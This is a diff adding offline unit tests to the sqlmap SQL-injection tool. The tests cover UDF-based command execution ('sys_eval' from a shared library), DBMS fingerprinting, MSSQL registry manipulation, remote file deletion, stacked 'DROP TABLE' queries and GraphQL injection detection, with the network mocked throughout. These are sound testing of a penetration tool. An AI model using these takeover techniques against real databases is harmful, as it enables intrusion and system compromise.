+ t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfSharedLibName = "libsabc" + t.udfSharedLibExt = "so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib("sys_eval", {"return": "string"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval") + self.assertEqual( + stacked[1], + "CREATE FUNCTION sys_eval RETURNS string SONAME 'libsabc.so'") + self.assertIn("sys_eval", t.createdUdf) + + # -- PostgreSQL udfCreateFromSharedLib (CREATE OR REPLACE FUNCTION) ---- # + def test_pgsql_udfCreateFromSharedLib_sql(self): + import plugins.dbms.postgresql.takeover as mod + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfToCreate = {"sys_eval"} + t.createdUdf = set() + t.udfRemoteFile = "/tmp/libsabc.so" + stacked = [] + self.patch(mod.inject, "goStacked", lambda q, *a, **k: stacked.append(q)) + t.udfCreateFromSharedLib( + "sys_eval", {"input": ["text"], "return": "text"}) + self.assertEqual(stacked[0], "DROP FUNCTION sys_eval(text)") + self.assertEqual( + stacked[1], + "CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS " + "'/tmp/libsabc.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL " + "INPUT IMMUTABLE") + + # -- PostgreSQL udfSetRemotePath (OS-dependent path) ------------------- # + def test_pgsql_udfSetRemotePath_linux_and_windows(self): + # Linux -> /tmp/; Windows -> bare (saved into the data dir). + # Set kb.os directly to avoid Backend.setOs()'s interactive OS-mismatch + # prompt when flipping the OS mid-test. + import plugins.dbms.postgresql.takeover as mod + from lib.core.enums import OS + set_dbms("PostgreSQL") + t = mod.Takeover() + t.udfSharedLibName = "libsxyz" + t.udfSharedLibExt = "so" + + _os = kb.os + try: + kb.os = OS.LINUX + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "/tmp/libsxyz.so") + + kb.os = OS.WINDOWS + t.udfSharedLibExt = "dll" + t.udfSetRemotePath() + self.assertEqual(t.udfRemoteFile, "libsxyz.dll") + finally: + kb.os = _os + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py new file mode 100644 index 00000000000..b583ea061fa --- /dev/null +++ b/tests/test_fingerprint.py @@ -0,0 +1,213 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS version/fork fingerprinting (plugins/dbms//fingerprint.py). Each +plugin's getFingerprint()/checkDbms() probes the backend with a cascade of +boolean expressions (inject.checkBooleanExpression) and version reads +(inject.getValue). Those are the network seam: stubbing them lets the dialect's +whole detection cascade run offline. We drive every targeted plugin with the +oracle pinned both True and False so opposite branches of the cascade execute. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import conf, kb +from lib.core.common import Backend + +# (display name, fingerprint module, handler package) +TARGETS = [ + ("MySQL", "plugins.dbms.mysql.fingerprint", "plugins.dbms.mysql"), + ("PostgreSQL", "plugins.dbms.postgresql.fingerprint", "plugins.dbms.postgresql"), + ("Microsoft SQL Server", "plugins.dbms.mssqlserver.fingerprint", "plugins.dbms.mssqlserver"), + ("Oracle", "plugins.dbms.oracle.fingerprint", "plugins.dbms.oracle"), + ("IBM DB2", "plugins.dbms.db2.fingerprint", "plugins.dbms.db2"), + ("Microsoft Access", "plugins.dbms.access.fingerprint", "plugins.dbms.access"), + ("Firebird", "plugins.dbms.firebird.fingerprint", "plugins.dbms.firebird"), + ("Sybase", "plugins.dbms.sybase.fingerprint", "plugins.dbms.sybase"), + ("SAP MaxDB", "plugins.dbms.maxdb.fingerprint", "plugins.dbms.maxdb"), + ("HSQLDB", "plugins.dbms.hsqldb.fingerprint", "plugins.dbms.hsqldb"), + ("H2", "plugins.dbms.h2.fingerprint", "plugins.dbms.h2"), + ("Presto", "plugins.dbms.presto.fingerprint", "plugins.dbms.presto"), + ("Vertica", "plugins.dbms.vertica.fingerprint", "plugins.dbms.vertica"), + ("Informix", "plugins.dbms.informix.fingerprint", "plugins.dbms.informix"), + ("InterSystems Cache", "plugins.dbms.cache.fingerprint", "plugins.dbms.cache"), + ("MonetDB", "plugins.dbms.monetdb.fingerprint", "plugins.dbms.monetdb"), + ("Altibase", "plugins.dbms.altibase.fingerprint", "plugins.dbms.altibase"), + ("ClickHouse", "plugins.dbms.clickhouse.fingerprint", "plugins.dbms.clickhouse"), + ("CrateDB", "plugins.dbms.cratedb.fingerprint", "plugins.dbms.cratedb"), + ("Cubrid", "plugins.dbms.cubrid.fingerprint", "plugins.dbms.cubrid"), + ("Mckoi", "plugins.dbms.mckoi.fingerprint", "plugins.dbms.mckoi"), + ("Virtuoso", "plugins.dbms.virtuoso.fingerprint", "plugins.dbms.virtuoso"), + ("Raima Database Manager", "plugins.dbms.raima.fingerprint", "plugins.dbms.raima"), + ("eXtremeDB", "plugins.dbms.extremedb.fingerprint", "plugins.dbms.extremedb"), + ("FrontBase", "plugins.dbms.frontbase.fingerprint", "plugins.dbms.frontbase"), + ("Apache Derby", "plugins.dbms.derby.fingerprint", "plugins.dbms.derby"), + ("MimerSQL", "plugins.dbms.mimersql.fingerprint", "plugins.dbms.mimersql"), +] + + +def _handler_cls(pkg): + main = importlib.import_module(pkg) + return [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + + +# Dialects whose non-extensive getFingerprint emits Format.getDbms() (i.e. +# " ") rather than a hard-coded DBMS.* constant, so the version +# that flowed through (Backend.setVersionList(["1.0"])) actually appears in the +# output. (In the test harness Backend.getDbms() is None because set_dbms uses +# forceDbms, so for these the dialect NAME is absent but "1.0" is load-bearing.) +ACTVER_DBMS = frozenset(( + "MySQL", "Microsoft SQL Server", "Firebird", "HSQLDB", +)) + +# Dialects whose getFingerprint has a fork concept: with the oracle pinned True +# the first fork-detection branch fires (MySQL->MariaDB, PostgreSQL->CockroachDB, +# Oracle->DM8, Cache->Iris, H2->Apache Ignite, Presto->Trino) and the output +# gains a " (... fork)" suffix. Pinned False, no fork is emitted. +FORK_DBMS = frozenset(( + "MySQL", "PostgreSQL", "Oracle", "InterSystems Cache", "H2", "Presto", +)) + +# Dialects whose getFingerprint genuinely needs more extraction state under +# conf.extensiveFp and raises a narrow KeyError before completing. +EXTENSIVE_RAISERS = frozenset(( + "SAP MaxDB", +)) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self._saved = {k: conf.get(k) for k in ("batch", "extensiveFp", "api", "dbms", "forceDbms")} + self._kb = {k: kb.get(k) for k in ("dbmsVersion", "forcedDbms", "dbms", "stickyDBMS", + "resolutionDbms", "os", "osVersion", "osSP")} + conf.batch = True + conf.extensiveFp = False + conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) + + def tearDown(self): + for k, v in self._saved.items(): + conf[k] = v + for k, v in self._kb.items(): + kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved + + def _drive(self, name, modpath, pkg, oracle): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + + # Real content: the dialect's own identity must have flowed into the + # output, not merely the constant "back-end DBMS: " prefix. + if name in ACTVER_DBMS: + # Format.getDbms() embedded the version list -> "1.0" must appear. + self.assertIn("1.0", fp, + "%s fp lost the version that flowed through: %r" % (name, fp)) + else: + # the dialect name (DBMS.* constant) must appear verbatim. + self.assertIn(Backend.getForcedDbms(), fp, + "%s fp lost its dialect name: %r" % (name, fp)) + + # Fork detection: with the oracle pinned True the first fork branch + # fires for the fork-bearing dialects; pinned False none do. This is the + # only thing distinguishing the True/False runs for those dialects. + if name in FORK_DBMS: + if oracle: + self.assertIn("fork)", fp, + "%s did not emit a fork label with oracle=True: %r" % (name, fp)) + else: + self.assertNotIn("fork)", fp, + "%s emitted a fork label with oracle=False: %r" % (name, fp)) + else: + # dialects with no fork concept never emit a fork label + self.assertNotIn("fork)", fp) + + # checkDbms walks the dialect's detection cascade end-to-end; it must + # return a real boolean verdict (True/False), never None or a raise. + verdict = handler.checkDbms() + self.assertIn(verdict, (True, False), + "%s checkDbms() returned a non-bool: %r" % (name, verdict)) + return fp + + def test_fingerprint_oracle_true(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, True) + + def test_fingerprint_oracle_false(self): + for name, modpath, pkg in TARGETS: + self._drive(name, modpath, pkg, False) + + def test_fingerprint_extensive(self): + # conf.extensiveFp drives the deeper comment-/version-/dbms-check cascades + # (getFingerprint past the early return) - much more code per dialect. + # In this mode every dialect's output is built around an + # "active fingerprint: " line, so that header is the + # real content proof; the version "1.0" rides along for the ACTVER set. + conf.extensiveFp = True + try: + for name, modpath, pkg in TARGETS: + for oracle in (True, False): + set_dbms(name) + Backend.setVersionList(["1.0"]) + mod = importlib.import_module(modpath) + if hasattr(mod, "inject"): + mod.inject.checkBooleanExpression = lambda e, *a, **k: oracle + mod.inject.getValue = lambda q, *a, **k: "1.0" + handler = _handler_cls(pkg)() + if name in EXTENSIVE_RAISERS: + # this dialect genuinely needs extra extraction state under + # extensiveFp; assert it gets exactly that far and no further. + with self.assertRaises(KeyError): + handler.getFingerprint() + continue + fp = handler.getFingerprint() + self.assertIsInstance(fp, str) + self.assertIn("active fingerprint:", fp, + "%s extensiveFp produced no active-fingerprint line: %r" % (name, fp)) + if name in ACTVER_DBMS: + self.assertIn("1.0", fp, + "%s extensiveFp lost the version: %r" % (name, fp)) + finally: + conf.extensiveFp = False + + +def _make(name, modpath, pkg): + def _t(self): + # _drive already asserts real, dialect-specific content (version/name + + # fork label + a boolean checkDbms verdict) for both oracle states. + self._drive(name, modpath, pkg, True) + self._drive(name, modpath, pkg, False) + return _t + + +# one named test per DBMS for clearer reporting +for _name, _mod, _pkg in TARGETS: + setattr(TestFingerprint, "test_fp_%s" % _pkg.split(".")[-1], _make(_name, _mod, _pkg)) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py new file mode 100644 index 00000000000..40f0f0c9d20 --- /dev/null +++ b/tests/test_generic_takeover.py @@ -0,0 +1,605 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for the generic plugin mixins covering: + + * plugins/generic/custom.py - sqlQuery SELECT/non-query/stacked branches, the + MSSQL FROM rewrite, METADB suffix stripping, SqlmapNoneDataException handling, + and sqlFile. + * plugins/generic/misc.py - getRemoteTempPath (posix / windows-direct / MSSQL + ErrorLog), getVersionFromBanner, delRemoteFile, createSupportTbl, likeOrExact. + * plugins/generic/takeover.py - the PURE helpers only: Takeover.__init__ table + naming and the regRead/regAdd/regDel/osBof/osSmb control flow with the process/ + network collaborators stubbed out (no metasploit/icmpsh/UDF spawning). + +The injection layer (lib.request.inject.{getValue,goStacked}) is patched per +module, conf.direct=True selects the simple inband branches, conf.batch=True keeps +prompts non-interactive, and conf.dumper is a recording stub. Every test restores +all touched conf.* / kb.* / patched module attributes in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import OS +from lib.core.settings import NULL + +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +import plugins.generic.takeover as tmod +from plugins.generic.custom import Custom +from plugins.generic.misc import Miscellaneous + + +class _RecordingDumper(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumper() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +# --------------------------------------------------------------------------- # +# custom.py +# --------------------------------------------------------------------------- # + +class TestCustomSqlQuery(_GenericBase): + def test_select_joins_listlike_rows(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: [["1", "alice"], ["2", "bob"]] + out = c.sqlQuery("SELECT id, name FROM users;") + # SELECT + list-like rows => each row joined into a single scalar string. + self.assertEqual(len(out), 2) + self.assertTrue(all(isinstance(_, str) for _ in out)) + + def test_select_scalar_passthrough(self): + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + captured["fromUser"] = k.get("fromUser") + return "42" + + cmod.inject.getValue = gv + out = c.sqlQuery("SELECT COUNT(*) FROM users") + self.assertEqual(out, "42") + self.assertTrue(captured["fromUser"]) + + def test_metadb_suffix_stripped(self): + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM foo%s.bar" % METADB_SUFFIX) + # the METADB-suffixed schema qualifier is stripped before injection + self.assertNotIn(METADB_SUFFIX, captured["query"]) + + def test_mssql_from_dbo_rewrite(self): + set_dbms("Microsoft SQL Server") + c = Custom() + captured = {} + + def gv(query, **k): + captured["query"] = query + return "x" + + cmod.inject.getValue = gv + c.sqlQuery("SELECT * FROM mydb.users") + # single-dot FROM target gets the .dbo. schema spliced in for MSSQL + self.assertIn("mydb.dbo.users", captured["query"]) + + def test_nonquery_without_stacking_warns_none(self): + set_dbms("MySQL") + conf.direct = False + kb.injection.data = {} # no stacking technique available + c = Custom() + cmod.inject.getValue = lambda *a, **k: self.fail("must not run a query") + out = c.sqlQuery("DELETE FROM users") + self.assertIsNone(out) + + def test_nonquery_stacked_returns_null(self): + set_dbms("MySQL") + conf.direct = True # direct => stacked execution allowed + c = Custom() + calls = {} + + def go(query, *a, **k): + calls["query"] = query + + cmod.inject.goStacked = go + out = c.sqlQuery("DROP TABLE users") + self.assertEqual(out, NULL) + self.assertIn("DROP TABLE users", calls["query"]) + + def test_nonedata_exception_handled(self): + from lib.core.exception import SqlmapNoneDataException + set_dbms("MySQL") + c = Custom() + + def boom(*a, **k): + raise SqlmapNoneDataException("no data") + + cmod.inject.getValue = boom + # exception is swallowed and logged; output stays None + self.assertIsNone(c.sqlQuery("SELECT 1")) + + +class TestCustomSqlFile(_GenericBase): + def test_sqlfile_select_snippets(self): + set_dbms("MySQL") + c = Custom() + cmod.inject.getValue = lambda query, **k: "r" + + # getSQLSnippet reads from disk; patch it to return inline SQL. + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "SELECT 1;SELECT 2" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # two SELECT statements => two recorded dumper.sqlQuery calls + self.assertEqual(len(conf.dumper.sqlQueries), 2) + finally: + cmod.getSQLSnippet = saved + + def test_sqlfile_nonselect_snippet(self): + set_dbms("MySQL") + conf.direct = True + c = Custom() + cmod.inject.goStacked = lambda *a, **k: None + + saved = cmod.getSQLSnippet + try: + cmod.getSQLSnippet = lambda dbms, filename, **kw: "DROP TABLE x" + conf.sqlFile = "dummy.sql" + c.sqlFile() + # non-SELECT => single recorded call with the whole snippet + self.assertEqual(len(conf.dumper.sqlQueries), 1) + self.assertEqual(conf.dumper.sqlQueries[0][0], "DROP TABLE x") + finally: + cmod.getSQLSnippet = saved + + +# --------------------------------------------------------------------------- # +# misc.py +# --------------------------------------------------------------------------- # + +class _TestMisc(Miscellaneous): + """Miscellaneous with the OS/exec collaborators stubbed.""" + + cmdTblName = "sqlmapoutput" + + def __init__(self): + Miscellaneous.__init__(self) + self.checkDbmsOsCalls = 0 + self.execCmdCalls = [] + + def checkDbmsOs(self, detailed=False, vatch=False): + self.checkDbmsOsCalls += 1 + + def execCmd(self, cmd, silent=False): + self.execCmdCalls.append((cmd, silent)) + + +class TestMisc(_GenericBase): + def test_remote_temp_path_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + conf.tmpPath = None + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "/tmp") + self.assertEqual(conf.tmpPath, "/tmp") + + def test_remote_temp_path_windows_direct(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + conf.tmpPath = None + conf.direct = True + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertEqual(out, "%TEMP%") + + def test_remote_temp_path_explicit_windows_drive(self): + # An explicit Windows-style drive path flips Backend OS to Windows. + set_dbms("MySQL") + conf.tmpPath = "C:\\Temp" + kb.os = None # let getRemoteTempPath detect Windows from the drive path + m = _TestMisc() + out = m.getRemoteTempPath() + self.assertTrue(Backend.isOs(OS.WINDOWS)) + self.assertIn("Temp", out) + self.assertNotIn("\\", out) # ntToPosixSlashes normalized the path + + def test_remote_temp_path_mssql_errorlog(self): + set_dbms("Microsoft SQL Server") + conf.tmpPath = None + mmod.inject.getValue = lambda query, **k: "C:\\Logs\\ERRORLOG" + m = _TestMisc() + out = m.getRemoteTempPath() + # ntpath.dirname strips the ERRORLOG filename, then ntToPosixSlashes + # normalizes the slashes: the exact temp dir must be "C:/Logs". Asserting + # the full path (and that the filename is gone) proves dirname ran. + self.assertEqual(out, "C:/Logs") + self.assertNotIn("ERRORLOG", out) + + def test_get_version_from_banner(self): + set_dbms("MySQL") + conf.direct = True + kb.bannerFp = {} + mmod.inject.getValue = lambda query, **k: "5.7.31-log" + m = _TestMisc() + m.getVersionFromBanner() + # regex \d[\d.-]* extracts the leading numeric-ish run (trailing '-' kept) + self.assertEqual(kb.bannerFp["dbmsVersion"], "5.7.31-") + + def test_get_version_from_banner_cached(self): + set_dbms("MySQL") + kb.bannerFp = {"dbmsVersion": "8.0"} + mmod.inject.getValue = lambda *a, **k: self.fail("must not query when cached") + m = _TestMisc() + m.getVersionFromBanner() + self.assertEqual(kb.bannerFp["dbmsVersion"], "8.0") + + def test_del_remote_file_posix(self): + set_dbms("MySQL") + self._force_os(OS.LINUX) + m = _TestMisc() + m.delRemoteFile("/tmp/foo") + self.assertEqual(m.execCmdCalls[-1], ("rm -f /tmp/foo", True)) + + def test_del_remote_file_windows(self): + set_dbms("MySQL") + self._force_os(OS.WINDOWS) + m = _TestMisc() + m.delRemoteFile("C:/tmp/foo") + cmd, silent = m.execCmdCalls[-1] + self.assertTrue(cmd.startswith("del /F /Q")) + self.assertTrue(silent) + + def test_del_remote_file_empty_noop(self): + set_dbms("MySQL") + m = _TestMisc() + m.delRemoteFile(None) + self.assertEqual(m.execCmdCalls, []) + self.assertEqual(m.checkDbmsOsCalls, 0) + + def test_create_support_tbl(self): + set_dbms("MySQL") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl("mytbl", "data", "TEXT") + joined = " | ".join(stacked) + self.assertIn("DROP TABLE mytbl", joined) + self.assertIn("CREATE TABLE mytbl(data TEXT)", joined) + + def test_create_support_tbl_mssql_cmdtbl(self): + set_dbms("Microsoft SQL Server") + m = _TestMisc() + stacked = [] + mmod.inject.goStacked = lambda query, **k: stacked.append(query) + m.createSupportTbl(m.cmdTblName, "data", "NVARCHAR(4000)") + joined = " | ".join(stacked) + # MSSQL cmd output table gets an IDENTITY id column + self.assertIn("IDENTITY", joined) + + def test_like_or_exact_default(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '1' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '1') + self.assertIn("LIKE", cond) + + def test_like_or_exact_exact(self): + m = _TestMisc() + mmod.readInput = lambda *a, **k: '2' + choice, cond = m.likeOrExact("table") + self.assertEqual(choice, '2') + self.assertEqual(cond, "='%s'") + + def test_like_or_exact_invalid(self): + from lib.core.exception import SqlmapNoneDataException + m = _TestMisc() + mmod.readInput = lambda *a, **k: '9' + self.assertRaises(SqlmapNoneDataException, m.likeOrExact, "table") + + +# --------------------------------------------------------------------------- # +# takeover.py (pure helpers only) +# --------------------------------------------------------------------------- # + +class _TestTakeover(tmod.Takeover): + """Takeover with all process/network collaborators stubbed. + + Only the pure control-flow helpers (table naming, reg read/add/del dispatch, + osBof/osSmb guards) are exercised; metasploit/icmpsh/UDF spawning is replaced + with recorders so no external process or socket is ever created. + """ + + def __init__(self): + tmod.Takeover.__init__(self) + self.regCalls = [] + self.osVal = OS.WINDOWS + self.smbCalled = False + self.bofCalled = False + self._regInitCalled = 0 + + # neutralize environment setup / OS detection + def _regInit(self): + self._regInitCalled += 1 + + def checkDbmsOs(self, detailed=False, vatch=False): + pass + + def initEnv(self, *a, **k): + pass + + def getRemoteTempPath(self): + return "/tmp" + + def createMsfShellcode(self, *a, **k): + pass + + def readRegKey(self, regKey, regValue, parse=False): + self.regCalls.append(("read", regKey, regValue)) + return "value" + + def addRegKey(self, regKey, regValue, regType, regData): + self.regCalls.append(("add", regKey, regValue, regType, regData)) + + def delRegKey(self, regKey, regValue): + self.regCalls.append(("del", regKey, regValue)) + + def smb(self): + self.smbCalled = True + + def bof(self): + self.bofCalled = True + + +class TestTakeover(_GenericBase): + def _saved_takeover_readInput(self): + return tmod.readInput + + def setUp(self): + _GenericBase.setUp(self) + self._saved_t_readInput = tmod.readInput + + def tearDown(self): + tmod.readInput = self._saved_t_readInput + _GenericBase.tearDown(self) + + def test_init_cmd_table_name(self): + set_dbms("MySQL") + t = _TestTakeover() + self.assertEqual(t.cmdTblName, "%soutput" % conf.tablePrefix) + self.assertEqual(t.tblField, "data") + + def test_reg_read_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + t = _TestTakeover() + out = t.regRead() + self.assertEqual(out, "value") + self.assertEqual(t.regCalls[-1], ("read", "HKLM\\Soft", "Name")) + self.assertEqual(t._regInitCalled, 1) + + def test_reg_read_defaults(self): + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + tmod.readInput = lambda message, default=None, **k: default + t = _TestTakeover() + t.regRead() + kind, regKey, regVal = t.regCalls[-1] + self.assertEqual(kind, "read") + self.assertIn("CurrentVersion", regKey) + self.assertEqual(regVal, "ProductName") + + def test_reg_add_from_conf(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + conf.regData = "data" + conf.regType = "REG_SZ" + t = _TestTakeover() + t.regAdd() + self.assertEqual(t.regCalls[-1], ("add", "HKLM\\Soft", "Name", "REG_SZ", "data")) + + def test_reg_add_missing_key_raises(self): + from lib.core.exception import SqlmapMissingMandatoryOptionException + set_dbms("Microsoft SQL Server") + conf.regKey = None + conf.regVal = None + conf.regData = None + conf.regType = None + tmod.readInput = lambda *a, **k: "" # empty -> missing mandatory option + t = _TestTakeover() + self.assertRaises(SqlmapMissingMandatoryOptionException, t.regAdd) + + def test_reg_del_confirmed(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: True if boolean else default + t = _TestTakeover() + t.regDel() + self.assertEqual(t.regCalls[-1], ("del", "HKLM\\Soft", "Name")) + + def test_reg_del_declined(self): + set_dbms("Microsoft SQL Server") + conf.regKey = "HKLM\\Soft" + conf.regVal = "Name" + tmod.readInput = lambda message, default=None, boolean=False, **k: False if boolean else default + t = _TestTakeover() + t.regDel() + # declined => no delRegKey call recorded + self.assertEqual([c for c in t.regCalls if c[0] == "del"], []) + + def test_osbof_wrong_dbms_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + self.assertRaises(SqlmapUnsupportedDBMSException, t.osBof) + + def test_osbof_no_stacking_returns(self): + set_dbms("Microsoft SQL Server") + conf.direct = False + kb.injection.data = {} # no stacking, not direct => early return + t = _TestTakeover() + self.assertIsNone(t.osBof()) + self.assertFalse(t.bofCalled) + + def test_ossmb_non_windows_raises(self): + from lib.core.exception import SqlmapUnsupportedDBMSException + set_dbms("MySQL") + conf.direct = True + t = _TestTakeover() + + # checkDbmsOs is a no-op here, so force the non-Windows OS explicitly + self._force_os(OS.LINUX) + self.assertRaises(SqlmapUnsupportedDBMSException, t.osSmb) + self.assertFalse(t.smbCalled) + + def test_ossmb_windows_invokes_smb(self): + set_dbms("MySQL") + conf.direct = True + self._force_os(OS.WINDOWS) + t = _TestTakeover() + t.osSmb() + self.assertTrue(t.smbCalled) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py new file mode 100644 index 00000000000..5564393a602 --- /dev/null +++ b/tests/test_graphql.py @@ -0,0 +1,804 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the GraphQL injection engine. Mock oracles stand in for the +HTTP/GraphQL layer so endpoint detection, introspection parsing, slot enumeration, query +construction, and boolean/error-based detection can be exercised without a live target. +""" + +import json +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.graphql.inject as gi + +# --- Mock helpers ----------------------------------------------------------- + +MATCH = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' +NOMATCH = '{"data":{"user":null}}' +DB_ERROR = '{"errors":[{"message":"You have an error in your SQL syntax; check the manual...","path":["user"]}]}' +GQL_PARSE_ERROR = '{"errors":[{"message":"Syntax Error: Expected Name, found )","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}' + +MOCK_SCHEMA = { + "data": {"__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "byId", "args": [ + {"name": "id", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": 